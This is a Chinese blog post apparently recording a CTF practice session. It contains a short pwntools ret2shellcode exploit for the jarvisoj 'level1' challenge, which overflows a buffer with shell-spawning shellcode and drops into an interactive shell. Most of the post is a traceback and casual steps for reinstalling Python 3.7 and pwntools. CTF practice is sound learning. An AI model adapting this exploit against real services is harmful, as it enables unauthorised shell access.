python3-pwntools教程_记一次five熬夜重装pwntools
今天是个好日子,今天是12.21,冬至
今天不是好日子,做一道简单题的时候发现pwntools没装好呜呜呜
这是一道基础的ret2shellcode,但是也不会做的我直奔wp去抄exp
from pwn import *
p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
#接收从下标为第14位到倒数第二位的字符串
text = p.recvline()[14:-2]
print text[14:-2]
#将text字符串通过int函数转换为16进制的地址,作为跳转的地址
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())
payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr)
p.send(payload)
p.interactive()
然后运行,报错:
Traceback (most recent call last):
File "", line 1, in
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__
return getattr(m, key)
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__
return getattr(m, key)
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 80, in __getattr__
real = internal.make_function(key, self._shellcodes[key], self._dir)
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 114, in make_function
template = lookup_template(path)
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 79, in lookup_template
init_mako()
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 14, in init_mako
from mako.lookup import TemplateLookup
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/lookup.py", line 12, in
from mako import exceptions
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 305, in
_install_highlighting()
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 300, in _install_highlighting
_install_pygments()
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 284, in _install_pygments
from mako.ext.pygmentplugin import syntax_highlight # noqa
File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/ext/pygmentplugin.py", line 8, in
from pygments.formatters.html import HtmlFormatter
File "/usr/local/lib/python2.7/dist-packages/Pygments-2.6.1-py2.7.egg/pygments/formatters/html.py", line 554
file=sys.stderr)
^
SyntaxError: invalid syntax
发现是shellcraft.sh()这里出了问题
啊这。。。这还能怎么办呢,重装pwntools吧呜呜呜
但是又遇到了问题
那,只好用python3安装pwntools了
首先安装vm tools
sudo apt-get install vim
执行所有升级
sudo apt-get update
sudo apt-get upgrade -y
安装编译Python源程序所需的包
sudo apt install build-essential -y
sudo apt install libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev -y
sudo apt-get install zlib1g-dev
下载Python 3.7源程序压缩包
wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz
解压缩
tar -xzvf Python-3.7.1.tgz
配置
cd Python-3.7.1
./configure --enable-optimizations
编译和安装Python 3.7
sudo make
sudo make install#这里遇到了报错,根据提示改成了sudo -H make install,完成
安装、升级、卸载pip和更换pip源
sudo apt-get install python3-pip
sudo pip3 install --upgrade pip#这条报错,改成-H)之后发现没有影响
sudo apt-get remove python3-pip
sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#这条也是warning,改成-H了,好像干了点坏事)
安装git
sudo apt install git
进行git配置
sudo git config --global user.name ‘自定义用户名’
sudo git config --global user.email ‘邮箱’
查看配置
git config –list
pwntools
sudo apt-get install python python-pip python-dev libssl-dev libffi-dev build-essential#这条依旧报错,然后有个手滑,加了-H
sudo pip install -U setuptools
sudo pip install --upgrade pip
sudo pip install --upgrade pwntools#上面三条全部报错,没加-H,然后飙红了,给前两条加了最后一条没加,貌似成功了
装好了,还是比较蠢的2333
原文链接:https://blog.csdn.net/qq_49914719/article/details/111503762
python3-pwntools教程_记一次five熬夜重装pwntools相关推荐
- 小白重装系统教程_小白稳定版 | U盘重装系统教程
U盘重装视频教程: 以下是详细的图文教程:(以win10系统为例) 一.准备工具 1.一个空的U盘(尽量8G以上) 2.一台正常能上网的电脑 二.安装思路 1.找一台能正常使用的电脑和一个U盘,通过下 ...
- ubuntu上安装python3.7教程_给ubuntu18安装python3.7的详细教程
准备工作 安装工具 sudo apt update sudo apt upgrade sudo apt install gcc sudo apt install g++ sudo apt instal ...
- 装饰器python3菜鸟教程_认识Python装饰器
Python中的装饰器用来给Python中的函数添加一些辅助功能.比如我们可以把[输出日志]这个辅助功能写到一个装饰器里.只要我们在某个函数A之前添加了这个[输出日志]的装饰器,那么执行函数A的时候, ...
- 小白重装系统教程_练习如何用u盘重装系统教程
想必大部分的朋友都没听说过U盘重装系统,其实U盘重装系统是现在最常用的重装系统方式,因为系统问题导致电脑无法开机的使用U盘重装系统可以最快最有效的解决问题,赶紧来了解一下吧 U盘是一种存储工具,组成虽 ...
- python3 chm文档下载_python3.7.0官方参考文档 最新api文档 chm_Python教程_源雷技术空间...
资源名称:python3.7.0官方参考文档 最新api文档 chm 1.新语法特性: PEP 563, 推迟评估类型注释 2.向后不兼容语法更改: async 和 await 现在保留关键字 3.新 ...
- python3 excel数据处理_求推荐python3入门教程,适合新手的(python excel数据处理)
excel和python哪个难学 excel 分应用和VBA编程,phthon本就是编程语言,对数据分析来说,excel足够了,而且是最容易学习的数据处理与分析应用软件,Python肯定比excel难 ...
- 苹果手机上运行python_Python新手入门教程_在手机上就能学习编程的软件
Python新手入门教程_在手机上就能学习编程的软件 很多小伙伴会问:我在学编程,想利用坐地铁坐公交吃饭间隙学编程,在手机上能学编程的软件有哪些?毕竟时间宝贵啊!!哈哈哈!!! 这个问题,在悟空回答的 ...
- python 手机编程termux_Python新手入门教程_在手机上就能学习编程的软件
Python新手入门教程_在手机上就能学习编程的软件 很多小伙伴会问:我在学编程,想利用坐地铁坐公交吃饭间隙学编程,在手机上能学编程的软件有哪些?毕竟时间宝贵啊!!哈哈哈!!! 这个问题,在悟空回答的 ...
- python手机开发的软件_Python新手入门教程_在手机上就能学习编程的软件
Python新手入门教程_在手机上就能学习编程的软件 很多小伙伴会问:我在学编程,想利用坐地铁坐公交吃饭间隙学编程,在手机上能学编程的软件有哪些?毕竟时间宝贵啊!!哈哈哈!!! 这个问题,在悟空回答的 ...
最新文章
- 各大浏览器 CSS3 和 HTML5 兼容速查表
- 【Spring实战】—— 14 传统的JDBC实现的DAO插入和读取
- vscode折叠/展开所有区域代码快捷键
- Lexer的设计--中(4)
- 如何避免把 Python 代码写得跟屎一样?
- IOS之学习笔记四(类的实现和对象和id)
- Netty:另一种Web(套接字)服务器
- Joint Consensus两阶段成员变更的单步实现
- 10.傅里叶变换——达利画家、基集(Basis Set)、傅里叶级数(Fourier Series)_1
- 开博客第一天!!来几句鸡汤
- Linux设备开机卡主
- 在ASP.Net中实现RSA加密
- 在水晶报表中插入子报表,并动态添加数据源
- 贪吃蛇程序 php,PHP下利用PHPMailer Web程序【tofacebook.com】 - 贪吃蛇
- 子查询定义从句总结(WITH AS 语句)
- macd的python代码同花顺_MACD最全的运用方法!
- linux上压缩pdf文件,如何压缩PDF文件?
- HTML5期末大作业:蛋糕甜品网站设计——蛋糕甜品店铺(11页) HTML+CSS+JavaScript 关于美食甜品的HTML网页设计
- surface屏幕自动调节亮度无法关闭
- 计算机虚拟技术有什么用途,CPU虚拟化有什么作用?CPU怎么开启虚拟化技术?
热门文章
- java打jar包的方式,jar命令,maven
- python安装snaps_如何管理Ubuntu Snaps:没人告诉你的东西
- node redis集群_如何使用集群扩展Node.js服务器
- gitlab定期备份_如何在一分钟内让GitLab为您做定期工作
- golang.org/x/lint安装失败
- Python面试题【315+道题】
- 全国315个城市,用python爬取肯德基老爷爷的店面信息
- python是动态语言
- ubuntu安装sublime3并配置python3环境
- [深度学习-TF2实践]应用Tensorflow2.x训练DenseNet模型在Cifar10数据上,测试集准确率90.07%